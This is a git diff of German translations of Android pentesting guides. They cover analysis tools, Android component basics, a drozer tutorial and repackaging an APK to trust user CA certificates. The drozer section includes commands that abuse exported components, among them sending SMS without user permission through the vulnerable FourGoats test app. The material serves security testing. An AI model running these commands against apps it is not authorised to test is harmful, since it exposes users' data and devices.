Alle Regeln sind in einer `rules.json`-Datei zentriert, und jedes Unternehmen oder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen.
@ -645,7 +645,7 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** ist ein Tool, dessen Hauptziel es ist, den Benutzer über potenziell bösartiges Verhalten, das von einer Android-Anwendung entwickelt wurde, zu erkennen und zu warnen.
**Androwarn** ist ein Tool, dessen Hauptziel es ist, potenziell bösartiges Verhalten, das von einer Android-Anwendung entwickelt wurde, zu erkennen und den Benutzer zu warnen.
Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, dargestellt als **Smali**, mit der [`androguard`](https://github.com/androguard/androguard) Bibliothek.
@ -657,13 +657,13 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das häufig verwendete Tools für das Reverse Engineering und die Analyse von mobilen Anwendungen zusammenführt, um bei der Prüfung mobiler Anwendungen gegen die OWASP-Sicherheitsbedrohungen zu helfen. Ziel ist es, diese Aufgabe für Entwickler mobiler Anwendungen und Sicherheitsfachleute einfacher und benutzerfreundlicher zu gestalten.
**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das häufig verwendete Tools für das Reverse Engineering und die Analyse von mobilen Anwendungen zusammenführt, um bei der Prüfung mobiler Anwendungen gegen die OWASP-Sicherheitsbedrohungen für mobile Anwendungen zu helfen. Ziel ist es, diese Aufgabe für Entwickler mobiler Anwendungen und Sicherheitsfachleute einfacher und benutzerfreundlicher zu gestalten.
Es kann:
- Java- und Smali-Code mit verschiedenen Tools extrahieren
- APKs analysieren mit: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Private Informationen aus der APK mit Regexps extrahieren.
- Private Informationen aus der APK mit regexps extrahieren.
- Das Manifest analysieren.
- Gefundene Domains analysieren mit: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) und [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APKs über [apk-deguard.com](http://www.apk-deguard.com) deobfuskieren
@ -674,7 +674,7 @@ Nützlich zur Erkennung von Malware: [https://koodous.com/](https://koodous.com)
## Obfuscating/Deobfuscating code
Beachten Sie, dass je nach Dienst und Konfiguration, die Sie zur Obfuskation des Codes verwenden, Geheimnisse möglicherweise obfuskiert oder nicht obfuskiert sind.
Beachten Sie, dass je nach Dienst und Konfiguration, die Sie zur Obfuskation des Codes verwenden, Geheimnisse möglicherweise obfuskiert oder nicht obfuskiert enden.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
@ -686,7 +686,7 @@ ProGuard wird als Teil des Android SDK verteilt und läuft beim Erstellen der An
Finden Sie eine Schritt-für-Schritt-Anleitung zur Deobfuskation der APK in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Von dieser Anleitung) Das letzte Mal, als wir überprüft haben, war der Dexguard-Betriebsmodus:
(Von dieser Anleitung) Das letzte Mal, als wir überprüft haben, war der Betriebsmodus von Dexguard:
- eine Ressource als InputStream laden;
- das Ergebnis an eine Klasse weitergeben, die von FilterInputStream erbt, um es zu entschlüsseln;
@ -720,7 +720,7 @@ APKiD gibt Ihnen Informationen darüber, **wie eine APK erstellt wurde**. Es ide
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b ist eine Android-Sicherheitsvirtualmaschine, die auf ubuntu-mate basiert und die Sammlung der neuesten Frameworks, Tutorials und Labs von verschiedenen Sicherheitsgeeks und Forschern für Reverse Engineering und Malware-Analyse enthält.
AndroL4b ist eine Android-Sicherheitsvirtualmaschine, die auf ubuntu-mate basiert und die Sammlung der neuesten Frameworks, Tutorials und Labs von verschiedenen Sicherheitsgeeks und Forschern für Reverse Engineering und Malware-Analyse umfasst.
## References

46
src/mobile-pentesting/android-app-pentesting/android-applications-basics.md
View File

@ -39,9 +39,9 @@ Ein Berechtigungselement hat drei Attribute:
- **Signature**: Nur **Apps, die mit demselben Zertifikat wie das, das die Komponente exportiert, signiert sind**, können die Berechtigung erhalten. Dies ist die stärkste Art des Schutzes.
- **SignatureOrSystem**: Nur **Apps, die mit demselben Zertifikat wie das, das die Komponente exportiert, signiert sind**, oder **Apps, die mit Systemzugriffsrechten ausgeführt werden**, können Berechtigungen erhalten.
## Vorgefertigte Anwendungen
## Vorinstallierte Anwendungen
Diese Apps befinden sich normalerweise in den **`/system/app`** oder **`/system/priv-app`** Verzeichnissen, und einige von ihnen sind **optimiert** (Sie finden möglicherweise nicht einmal die `classes.dex`-Datei). Diese Anwendungen sind es wert, überprüft zu werden, da sie manchmal **mit zu vielen Berechtigungen** (als Root) ausgeführt werden.
Diese Apps befinden sich normalerweise in den **`/system/app`**- oder **`/system/priv-app`**-Verzeichnissen, und einige von ihnen sind **optimiert** (Sie finden möglicherweise nicht einmal die `classes.dex`-Datei). Diese Anwendungen sind es wert, überprüft zu werden, da sie manchmal **mit zu vielen Berechtigungen** (als Root) ausgeführt werden.
- Die mit dem **AOSP** (Android OpenSource Project) **ROM** gelieferten
- Vom Gerätehersteller hinzugefügt
@ -50,7 +50,7 @@ Diese Apps befinden sich normalerweise in den **`/system/app`** oder **`/system/
## Rooten
Um Root-Zugriff auf ein physisches Android-Gerät zu erhalten, müssen Sie in der Regel 1 oder 2 **Schwachstellen** **ausnutzen**, die normalerweise **spezifisch** für das **Gerät** und die **Version** sind.\
Sobald der Exploit funktioniert hat, wird normalerweise die Linux `su`-Binärdatei an einem Ort kopiert, der in der PATH-Umgebungsvariablen des Benutzers angegeben ist, wie z.B. `/system/xbin`.
Sobald der Exploit funktioniert hat, wird normalerweise die Linux `su`-Binärdatei an einem im PATH-Umgebungsvariablen des Benutzers angegebenen Ort wie `/system/xbin` kopiert.
Sobald die su-Binärdatei konfiguriert ist, wird eine andere Android-App verwendet, um mit der `su`-Binärdatei zu interagieren und **Anfragen für Root-Zugriff** wie **Superuser** und **SuperSU** (verfügbar im Google Play Store) zu verarbeiten.
@ -60,7 +60,7 @@ Sobald die su-Binärdatei konfiguriert ist, wird eine andere Android-App verwend
### ROMs
Es ist möglich, das **Betriebssystem durch die Installation einer benutzerdefinierten Firmware zu ersetzen**. Dadurch ist es möglich, die Nützlichkeit eines alten Geräts zu erweitern, Softwarebeschränkungen zu umgehen oder Zugriff auf den neuesten Android-Code zu erhalten.\
**OmniROM** und **LineageOS** sind zwei der beliebtesten Firmwares, die verwendet werden können.
**OmniROM** und **LineageOS** sind zwei der beliebtesten Firmwares.
Beachten Sie, dass **es nicht immer notwendig ist, das Gerät zu rooten**, um eine benutzerdefinierte Firmware zu installieren. **Einige Hersteller erlauben** das Entsperren ihrer Bootloader auf eine gut dokumentierte und sichere Weise.
@ -93,7 +93,7 @@ Sobald ein Gerät gerootet ist, könnte jede App Zugriff als Root anfordern. Wen
### **Dalvik & Smali**
In der Android-Entwicklung wird **Java oder Kotlin** zur Erstellung von Apps verwendet. Anstelle der Verwendung der JVM wie bei Desktop-Apps kompiliert Android diesen Code in **Dalvik Executable (DEX) Bytecode**. Früher verwaltete die Dalvik-VM diesen Bytecode, aber jetzt übernimmt die Android Runtime (ART) in neueren Android-Versionen.
In der Android-Entwicklung wird **Java oder Kotlin** zur Erstellung von Apps verwendet. Anstelle der Verwendung der JVM wie in Desktop-Apps kompiliert Android diesen Code in **Dalvik Executable (DEX) Bytecode**. Früher verwaltete die Dalvik-VM diesen Bytecode, aber jetzt übernimmt die Android Runtime (ART) in neueren Android-Versionen.
Für die Rückentwicklung wird **Smali** entscheidend. Es ist die menschenlesbare Version von DEX-Bytecode und fungiert wie eine Assemblersprache, indem es Quellcode in Bytecode-Anweisungen übersetzt. Smali und baksmali beziehen sich in diesem Kontext auf die Assemblierungs- und Disassemblierungswerkzeuge.
@ -118,9 +118,9 @@ Wenn sie anfällig sind, **können Intents verwendet werden, um eine Vielzahl vo
Intent-Filter bestehen aus Kategorien, Aktionen und Datenfiltern, mit der Möglichkeit, zusätzliche Metadaten einzuschließen. Diese Konfiguration ermöglicht es Komponenten, spezifische Intents zu verarbeiten, die den deklarierten Kriterien entsprechen.
Ein kritischer Aspekt von Android-Komponenten (Aktivitäten/Dienste/Inhaltsanbieter/Broadcast-Empfänger) ist ihre Sichtbarkeit oder **öffentlicher Status**. Eine Komponente wird als öffentlich betrachtet und kann mit anderen Apps interagieren, wenn sie **`exported`** mit einem Wert von **`true`** oder wenn ein Intent-Filter für sie im Manifest deklariert ist. Es gibt jedoch eine Möglichkeit für Entwickler, diese Komponenten ausdrücklich privat zu halten, um sicherzustellen, dass sie nicht unbeabsichtigt mit anderen Apps interagieren. Dies wird erreicht, indem das **`exported`**-Attribut in ihren Manifestdefinitionen auf **`false`** gesetzt wird.
Ein kritischer Aspekt von Android-Komponenten (Aktivitäten/Dienste/Inhaltsanbieter/Broadcast-Empfänger) ist ihre Sichtbarkeit oder **öffentlicher Status**. Eine Komponente wird als öffentlich betrachtet und kann mit anderen Apps interagieren, wenn sie **`exported`** mit einem Wert von **`true`** ist oder wenn ein Intent-Filter für sie im Manifest deklariert ist. Es gibt jedoch eine Möglichkeit für Entwickler, diese Komponenten ausdrücklich privat zu halten, um sicherzustellen, dass sie nicht unbeabsichtigt mit anderen Apps interagieren. Dies wird erreicht, indem das **`exported`**-Attribut in ihren Manifestdefinitionen auf **`false`** gesetzt wird.
Darüber hinaus haben Entwickler die Möglichkeit, den Zugriff auf diese Komponenten weiter abzusichern, indem sie spezifische Berechtigungen verlangen. Das **`permission`**-Attribut kann so festgelegt werden, dass nur Apps mit der vorgesehenen Berechtigung auf die Komponente zugreifen können, was eine zusätzliche Sicherheitsebene und Kontrolle darüber bietet, wer mit ihr interagieren kann.
Darüber hinaus haben Entwickler die Möglichkeit, den Zugriff auf diese Komponenten weiter abzusichern, indem sie spezifische Berechtigungen verlangen. Das **`permission`**-Attribut kann so eingestellt werden, dass nur Apps mit der vorgesehenen Berechtigung auf die Komponente zugreifen können, was eine zusätzliche Sicherheitsebene und Kontrolle darüber bietet, wer mit ihr interagieren kann.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -172,13 +172,13 @@ Alternativ ist es auch möglich, **eine Berechtigung beim Senden des Broadcasts
Es gibt **zwei Arten** von Broadcasts: **Normal** (asynchron) und **Ordered** (synchron). Die **Reihenfolge** basiert auf der **konfigurierten Priorität innerhalb des Empfängerelements**. **Jede App kann den Broadcast verarbeiten, weiterleiten oder verwerfen.**
Es ist möglich, einen **Broadcast** mit der Funktion `sendBroadcast(intent, receiverPermission)` aus der `Context`-Klasse zu **senden**.\
Sie könnten auch die Funktion **`sendBroadcast`** von **`LocalBroadCastManager`** verwenden, die sicherstellt, dass die **Nachricht die App niemals verlässt**. Damit müssen Sie nicht einmal eine Empfangskomponente exportieren.
Sie können auch die Funktion **`sendBroadcast`** von **`LocalBroadCastManager`** verwenden, die sicherstellt, dass die **Nachricht die App niemals verlässt**. Damit müssen Sie nicht einmal eine Empfangskomponente exportieren.
### Sticky Broadcasts
Diese Art von Broadcasts **kann lange nach dem Senden abgerufen werden**.\
Diese wurden in API-Stufe 21 als veraltet markiert und es wird empfohlen, **sie nicht zu verwenden**.\
**Sie ermöglichen es jeder Anwendung, die Daten abzuhören, aber auch zu modifizieren.**
Diese wurden in API-Stufe 21 als veraltet erklärt und es wird empfohlen, **sie nicht zu verwenden**.\
**Sie ermöglichen es jeder Anwendung, die Daten abzuhören, aber auch zu ändern.**
Wenn Sie Funktionen finden, die das Wort "sticky" enthalten, wie **`sendStickyBroadcast`** oder **`sendStickyBroadcastAsUser`**, **prüfen Sie die Auswirkungen und versuchen Sie, sie zu entfernen**.
@ -217,7 +217,7 @@ Erfahren Sie, wie Sie [Deep Links ohne Verwendung von HTML-Seiten aufrufen](#exp
## AIDL - Android Interface Definition Language
Die **Android Interface Definition Language (AIDL)** wurde entwickelt, um die Kommunikation zwischen Client und Dienst in Android-Anwendungen durch **interprozessuale Kommunikation** (IPC) zu erleichtern. Da der direkte Zugriff auf den Speicher eines anderen Prozesses auf Android nicht erlaubt ist, vereinfacht AIDL den Prozess, indem Objekte in ein vom Betriebssystem verstandenes Format umgewandelt werden, wodurch die Kommunikation zwischen verschiedenen Prozessen erleichtert wird.
Die **Android Interface Definition Language (AIDL)** wurde entwickelt, um die Kommunikation zwischen Client und Dienst in Android-Anwendungen durch **Interprozesskommunikation** (IPC) zu erleichtern. Da der direkte Zugriff auf den Speicher eines anderen Prozesses auf Android nicht erlaubt ist, vereinfacht AIDL den Prozess, indem Objekte in ein vom Betriebssystem verstandenes Format umgewandelt werden, wodurch die Kommunikation zwischen verschiedenen Prozessen erleichtert wird.
### Schlüsselkonzepte
@ -225,7 +225,7 @@ Die **Android Interface Definition Language (AIDL)** wurde entwickelt, um die Ko
- **Messenger**: Als gebundener Dienst fungiert der Messenger als Vermittler für IPC mit dem Fokus auf die Verarbeitung von Daten über die `onBind`-Methode. Es ist wichtig, diese Methode genau auf unsichere Datenverarbeitung oder die Ausführung sensibler Funktionen zu überprüfen.
- **Binder**: Obwohl die direkte Verwendung der Binder-Klasse aufgrund der Abstraktion durch AIDL weniger verbreitet ist, ist es vorteilhaft zu verstehen, dass der Binder als Kernel-Level-Treiber fungiert, der den Datentransfer zwischen den Speicherbereichen verschiedener Prozesse ermöglicht. Für ein besseres Verständnis steht eine Ressource zur Verfügung unter [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
- **Binder**: Obwohl die direkte Verwendung der Binder-Klasse aufgrund der Abstraktion durch AIDL weniger verbreitet ist, ist es vorteilhaft zu verstehen, dass der Binder als Kernel-Treiber fungiert, der den Datentransfer zwischen den Speicherbereichen verschiedener Prozesse ermöglicht. Für ein besseres Verständnis steht eine Ressource zur Verfügung unter [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
## Komponenten
@ -236,7 +236,7 @@ Diese umfassen: **Aktivitäten, Dienste, Broadcast-Empfänger und Anbieter.**
In Android-Apps sind **Aktivitäten** wie Bildschirme, die verschiedene Teile der Benutzeroberfläche der App anzeigen. Eine App kann viele Aktivitäten haben, von denen jede einen einzigartigen Bildschirm für den Benutzer präsentiert.
Die **Launcher-Aktivität** ist das Haupttor zu einer App, das gestartet wird, wenn Sie auf das App-Symbol tippen. Sie ist in der Manifestdatei der App mit spezifischen MAIN- und LAUNCHER-Intents definiert:
```markup
```html
<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@ -252,11 +252,11 @@ Aktivitäten können anderen Apps oder Prozessen zur Verfügung gestellt werden,
```
Allerdings ist der Zugriff auf eine Aktivität von einer anderen App nicht immer ein Sicherheitsrisiko. Das Problem entsteht, wenn sensible Daten unsachgemäß geteilt werden, was zu Informationslecks führen könnte.
Der Lebenszyklus einer Aktivität **beginnt mit der onCreate-Methode**, die die Benutzeroberfläche einrichtet und die Aktivität für die Interaktion mit dem Benutzer vorbereitet.
Der Lebenszyklus einer Aktivität **beginnt mit der onCreate-Methode**, die die Benutzeroberfläche einrichtet und die Aktivität auf die Interaktion mit dem Benutzer vorbereitet.
### Anwendung Subklasse
### Anwendung Unterklasse
In der Android-Entwicklung hat eine App die Möglichkeit, eine **Subklasse** der [Application](https://developer.android.com/reference/android/app/Application) Klasse zu erstellen, obwohl dies nicht obligatorisch ist. Wenn eine solche Subklasse definiert ist, wird sie zur ersten Klasse, die innerhalb der App instanziiert wird. Die **`attachBaseContext`** Methode, wenn sie in dieser Subklasse implementiert ist, wird vor der **`onCreate`** Methode ausgeführt. Diese Einrichtung ermöglicht eine frühe Initialisierung, bevor der Rest der Anwendung startet.
In der Android-Entwicklung hat eine App die Möglichkeit, eine **Unterklasse** der [Application](https://developer.android.com/reference/android/app/Application) Klasse zu erstellen, obwohl dies nicht obligatorisch ist. Wenn eine solche Unterklasse definiert ist, wird sie zur ersten Klasse, die innerhalb der App instanziiert wird. Die **`attachBaseContext`** Methode, wenn sie in dieser Unterklasse implementiert ist, wird vor der **`onCreate`** Methode ausgeführt. Diese Einrichtung ermöglicht eine frühe Initialisierung, bevor der Rest der Anwendung startet.
```java
public class MyApp extends Application {
@Override
@ -290,11 +290,11 @@ Eine interessante Anwendung von Diensten umfasst die Wiedergabe von Hintergrundm
Broadcasts können entweder **asynchron** sein, wobei alle Empfänger ohne Reihenfolge erreicht werden, oder **synchron**, wobei Empfänger den Broadcast basierend auf festgelegten Prioritäten erhalten. Es ist jedoch wichtig, das potenzielle Sicherheitsrisiko zu beachten, da jede App sich selbst priorisieren kann, um einen Broadcast abzufangen.
Um die Funktionalität eines Empfängers zu verstehen, suchen Sie nach der Methode **`onReceive`** innerhalb seiner Klasse. Der Code dieser Methode kann das empfangene Intent manipulieren, was die Notwendigkeit der Datenvalidierung durch Empfänger hervorhebt, insbesondere bei **geordneten Broadcasts**, die das Intent modifizieren oder verwerfen können.
Um die Funktionalität eines Empfängers zu verstehen, suchen Sie nach der Methode **`onReceive`** innerhalb seiner Klasse. Der Code dieser Methode kann den empfangenen Intent manipulieren, was die Notwendigkeit der Datenvalidierung durch Empfänger hervorhebt, insbesondere bei **geordneten Broadcasts**, die den Intent modifizieren oder verwerfen können.
### Content Provider
**Content Provider** sind entscheidend für das **Teilen strukturierter Daten** zwischen Apps und betonen die Bedeutung der Implementierung von **Berechtigungen**, um die Datensicherheit zu gewährleisten. Sie ermöglichen es Apps, auf Daten aus verschiedenen Quellen zuzugreifen, einschließlich Datenbanken, Dateisystemen oder dem Web. Spezifische Berechtigungen wie **`readPermission`** und **`writePermission`** sind entscheidend für die Kontrolle des Zugriffs. Darüber hinaus kann temporärer Zugriff über die Einstellungen **`grantUriPermission`** im Manifest der App gewährt werden, wobei Attribute wie `path`, `pathPrefix` und `pathPattern` für eine detaillierte Zugriffskontrolle verwendet werden.
**Content Provider** sind entscheidend für das **Teilen strukturierter Daten** zwischen Apps und betonen die Bedeutung der Implementierung von **Berechtigungen**, um die Datensicherheit zu gewährleisten. Sie ermöglichen es Apps, auf Daten aus verschiedenen Quellen zuzugreifen, einschließlich Datenbanken, Dateisystemen oder dem Web. Spezifische Berechtigungen wie **`readPermission`** und **`writePermission`** sind entscheidend für die Kontrolle des Zugriffs. Darüber hinaus kann temporärer Zugriff über **`grantUriPermission`**-Einstellungen im Manifest der App gewährt werden, wobei Attribute wie `path`, `pathPrefix` und `pathPattern` für eine detaillierte Zugriffskontrolle genutzt werden.
Die Eingangsvalidierung ist von größter Bedeutung, um Schwachstellen wie SQL-Injection zu verhindern. Content Provider unterstützen grundlegende Operationen: `insert()`, `update()`, `delete()` und `query()`, die die Datenmanipulation und das Teilen zwischen Anwendungen erleichtern.
@ -310,7 +310,7 @@ android:exported="false">
android:resource="@xml/filepaths" />
</provider>
```
Und ein Beispiel für die Angabe von gemeinsamen Ordnern in `filepaths.xml`:
Und ein Beispiel für die Angabe von freigegebenen Ordnern in `filepaths.xml`:
```xml
<paths>
<files-path path="images/" name="myimages" />
@ -323,7 +323,7 @@ Für weitere Informationen siehe:
## WebViews
WebViews sind wie **Mini-Webbrowser** in Android-Apps, die Inhalte entweder aus dem Web oder aus lokalen Dateien abrufen. Sie sind ähnlichen Risiken wie reguläre Browser ausgesetzt, jedoch gibt es Möglichkeiten, diese **Risiken zu reduzieren** durch spezifische **Einstellungen**.
WebViews sind wie **Mini-Webbrowser** in Android-Apps, die Inhalte entweder aus dem Web oder von lokalen Dateien abrufen. Sie sind ähnlichen Risiken wie reguläre Browser ausgesetzt, jedoch gibt es Möglichkeiten, diese **Risiken zu reduzieren** durch spezifische **Einstellungen**.
Android bietet zwei Haupttypen von WebViews:
@ -338,15 +338,15 @@ Die JavaScript "Bridge" ermöglicht es Java-Objekten, mit JavaScript zu interagi
Das Zulassen des Zugriffs auf Inhalte (`setAllowContentAccess(true)`) ermöglicht es WebViews, auf Content Providers zuzugreifen, was ein Risiko darstellen könnte, es sei denn, die Inhalts-URLs werden als sicher verifiziert.
Um den Dateizugriff zu steuern:
Um den Datei-Zugriff zu steuern:
- Das Deaktivieren des Dateizugriffs (`setAllowFileAccess(false)`) beschränkt den Zugriff auf das Dateisystem, mit Ausnahmen für bestimmte Assets, um sicherzustellen, dass sie nur für nicht sensible Inhalte verwendet werden.
- Das Deaktivieren des Datei-Zugriffs (`setAllowFileAccess(false)`) beschränkt den Zugriff auf das Dateisystem, mit Ausnahmen für bestimmte Assets, um sicherzustellen, dass sie nur für nicht sensible Inhalte verwendet werden.
## Andere App-Komponenten und Mobile Device Management
### **Digitale Signatur von Anwendungen**
- **Digitale Signaturen** sind für Android-Apps unerlässlich, um sicherzustellen, dass sie **authentisch erstellt** wurden, bevor sie installiert werden. Dieser Prozess verwendet ein Zertifikat zur Identifizierung der App und muss vom Paketmanager des Geräts bei der Installation überprüft werden. Apps können **selbstsigniert oder von einer externen CA zertifiziert** sein, um unbefugten Zugriff zu verhindern und sicherzustellen, dass die App während der Lieferung an das Gerät unverändert bleibt.
- **Digitale Signaturen** sind ein Muss für Android-Apps, um sicherzustellen, dass sie **authentisch erstellt** wurden, bevor sie installiert werden. Dieser Prozess verwendet ein Zertifikat zur Identifizierung der App und muss vom Paketmanager des Geräts bei der Installation überprüft werden. Apps können **selbstsigniert oder von einer externen CA zertifiziert** sein, um unbefugten Zugriff zu verhindern und sicherzustellen, dass die App während der Lieferung an das Gerät unverändert bleibt.
### **App-Verifizierung für erhöhte Sicherheit**

52
src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md
View File

@ -39,20 +39,20 @@ drozer console connect
```
## Interessante Befehle
| **Befehle** | **Beschreibung** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | Zeigt die Hilfe des ausgewählten Moduls |
| **Befehle** | **Beschreibung** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Help MODULE** | Zeigt die Hilfe des ausgewählten Moduls |
| **list** | Zeigt eine Liste aller drozer-Module, die in der aktuellen Sitzung ausgeführt werden können. Dies blendet Module aus, für die Sie nicht die entsprechenden Berechtigungen haben. |
| **shell** | Startet eine interaktive Linux-Shell auf dem Gerät, im Kontext des Agenten. |
| **clean** | Entfernt temporäre Dateien, die von drozer auf dem Android-Gerät gespeichert wurden. |
| **load** | Lädt eine Datei mit drozer-Befehlen und führt sie nacheinander aus. |
| **module** | Findet und installiert zusätzliche drozer-Module aus dem Internet. |
| **unset** | Entfernt eine benannte Variable, die drozer an alle Linux-Shells übergibt, die es startet. |
| **set** | Speichert einen Wert in einer Variablen, die als Umgebungsvariable an alle von drozer gestarteten Linux-Shells übergeben wird. |
| **shell** | Startet eine interaktive Linux-Shell auf dem Gerät, im Kontext des Agenten |
| **run MODULE** | Führt ein drozer-Modul aus |
| **exploit** | Drozer kann Exploits erstellen, die im Gerät ausgeführt werden. `drozer exploit list` |
| **payload** | Die Exploits benötigen eine Payload. `drozer payload list` |
| **shell** | Startet eine interaktive Linux-Shell auf dem Gerät, im Kontext des Agenten. |
| **clean** | Entfernt temporäre Dateien, die von drozer auf dem Android-Gerät gespeichert wurden. |
| **load** | Lädt eine Datei mit drozer-Befehlen und führt sie nacheinander aus. |
| **module** | Findet und installiert zusätzliche drozer-Module aus dem Internet. |
| **unset** | Entfernt eine benannte Variable, die drozer an alle Linux-Shells übergibt, die es startet. |
| **set** | Speichert einen Wert in einer Variablen, die als Umgebungsvariable an alle von drozer gestarteten Linux-Shells übergeben wird. |
| **shell** | Startet eine interaktive Linux-Shell auf dem Gerät, im Kontext des Agenten |
| **run MODULE** | Führt ein drozer-Modul aus |
| **exploit** | Drozer kann Exploits erstellen, die im Gerät ausgeführt werden. `drozer exploit list` |
| **payload** | Die Exploits benötigen eine Payload. `drozer payload list` |
### Paket
@ -96,14 +96,14 @@ Attack Surface:
is debuggable
```
- **Aktivitäten**: Vielleicht kannst du eine Aktivität starten und eine Art von Autorisierung umgehen, die dich daran hindern sollte, sie zu starten.
- **Inhaltsanbieter**: Vielleicht kannst du auf private Daten zugreifen oder eine Schwachstelle ausnutzen (SQL-Injection oder Pfad Traversierung).
- **Inhaltsanbieter**: Vielleicht kannst du auf private Daten zugreifen oder eine Schwachstelle ausnutzen (SQL Injection oder Path Traversal).
- **Dienste**:
- **ist debuggable**: [Mehr erfahren](#is-debuggeable)
### Aktivitäten
Der Wert des exportierten Aktivitätskomponenten “android:exported” ist im AndroidManifest.xml-Datei auf **“true”** gesetzt:
```markup
Der Wert “android:exported” eines exportierten Aktivitätskomponenten ist im AndroidManifest.xml-Datei auf **“true”** gesetzt:
```html
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
```
@ -135,7 +135,7 @@ Dieser Beitrag war so umfangreich, dass er hier nicht passt, also **kannst du**
### Services
Ein exportierter Dienst wird in der Manifest.xml deklariert:
```markup
```html
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
Im Code **überprüfen** Sie die \*\*`handleMessage`\*\* Funktion, die die **Nachricht** **empfängt**:
@ -159,12 +159,12 @@ app.service.stop Stop Service
```
#### Beispiel
Schauen Sie sich die **drozer** Hilfe für `app.service.send` an:
Schau dir die **drozer** Hilfe für `app.service.send` an:
![](<../../../images/image (1079).png>)
Beachten Sie, dass Sie zuerst die Daten in "_msg.what_" senden, dann "_msg.arg1_" und "_msg.arg2_", Sie sollten im Code **überprüfen, welche Informationen verwendet werden** und wo.\
Mit der Option `--extra` können Sie etwas senden, das von "_msg.replyTo_" interpretiert wird, und mit `--bundle-as-obj` erstellen Sie ein Objekt mit den bereitgestellten Details.
Beachte, dass du zuerst die Daten in "_msg.what_" sendest, dann "_msg.arg1_" und "_msg.arg2_", du solltest im Code **überprüfen, welche Informationen verwendet werden** und wo.\
Mit der Option `--extra` kannst du etwas senden, das von "_msg.replyTo_" interpretiert wird, und mit `--bundle-as-obj` erstellst du ein Objekt mit den bereitgestellten Details.
Im folgenden Beispiel:
@ -177,13 +177,13 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
```
![](<../../../images/image (647).png>)
### Broadcast Receivers
### Broadcast-Empfänger
**Im Abschnitt über grundlegende Informationen zu Android können Sie sehen, was ein Broadcast Receiver ist**.
**Im Abschnitt über grundlegende Android-Informationen können Sie sehen, was ein Broadcast-Empfänger ist**.
Nachdem Sie diese Broadcast Receivers entdeckt haben, sollten Sie **den Code** von ihnen überprüfen. Achten Sie besonders auf die **`onReceive`**-Funktion, da sie die empfangenen Nachrichten verarbeitet.
Nachdem Sie diese Broadcast-Empfänger entdeckt haben, sollten Sie **den Code** von ihnen überprüfen. Achten Sie besonders auf die **`onReceive`**-Funktion, da sie die empfangenen Nachrichten verarbeitet.
#### **Alle** Broadcast Receivers erkennen
#### **Alle** Broadcast-Empfänger erkennen
```bash
run app.broadcast.info #Detects all
```
@ -216,7 +216,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
```
#### Eine Nachricht senden
In diesem Beispiel wird der [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider missbraucht, um **eine beliebige SMS** an ein nicht-premium Ziel **ohne Erlaubnis** des Benutzers zu senden.
In diesem Beispiel wird der [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider missbraucht, um **eine beliebige SMS** an ein beliebiges nicht-premium Ziel **ohne Erlaubnis** des Benutzers zu senden.
![](<../../../images/image (415).png>)
@ -229,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
### Ist debuggeable
Eine Produktions-APK sollte niemals debuggeable sein.\
Das bedeutet, dass Sie einen **Java-Debugger** an die laufende Anwendung anhängen, sie zur Laufzeit inspizieren, Haltepunkte setzen, Schritt für Schritt vorgehen, Variablenwerte sammeln und sogar ändern können. [Das InfoSec Institute hat einen ausgezeichneten Artikel](../exploiting-a-debuggeable-applciation.md) über das tiefere Eindringen, wenn Ihre Anwendung debuggeable ist und das Injizieren von Laufzeitcode.
Das bedeutet, dass Sie einen **Java-Debugger** an die laufende Anwendung anhängen, sie zur Laufzeit inspizieren, Haltepunkte setzen, Schritt für Schritt vorgehen, Variablenwerte sammeln und sogar ändern können. [Das InfoSec Institute hat einen ausgezeichneten Artikel](../exploiting-a-debuggeable-applciation.md) darüber, wie man tiefer gräbt, wenn Ihre Anwendung debuggeable ist und zur Laufzeit Code injiziert.
Wenn eine Anwendung debuggeable ist, wird sie im Manifest angezeigt:
```xml

4
src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md
View File

@ -25,7 +25,7 @@ Nach dem Hinzufügen:
![](../../images/img11.png)
Jetzt gehen wir in den **res/xml**-Ordner und erstellen/modifizieren eine Datei namens network_security_config.xml mit folgendem Inhalt:
```markup
```html
<network-security-config>
<base-config>
<trust-anchors>
@ -37,7 +37,7 @@ Jetzt gehen wir in den **res/xml**-Ordner und erstellen/modifizieren eine Datei
</base-config>
</network-security-config>
```
Dann speichern Sie die Datei, gehen Sie aus allen Verzeichnissen zurück und bauen Sie die apk mit dem folgenden Befehl neu auf: `apktool b *folder-name/* -o *output-file.apk*`
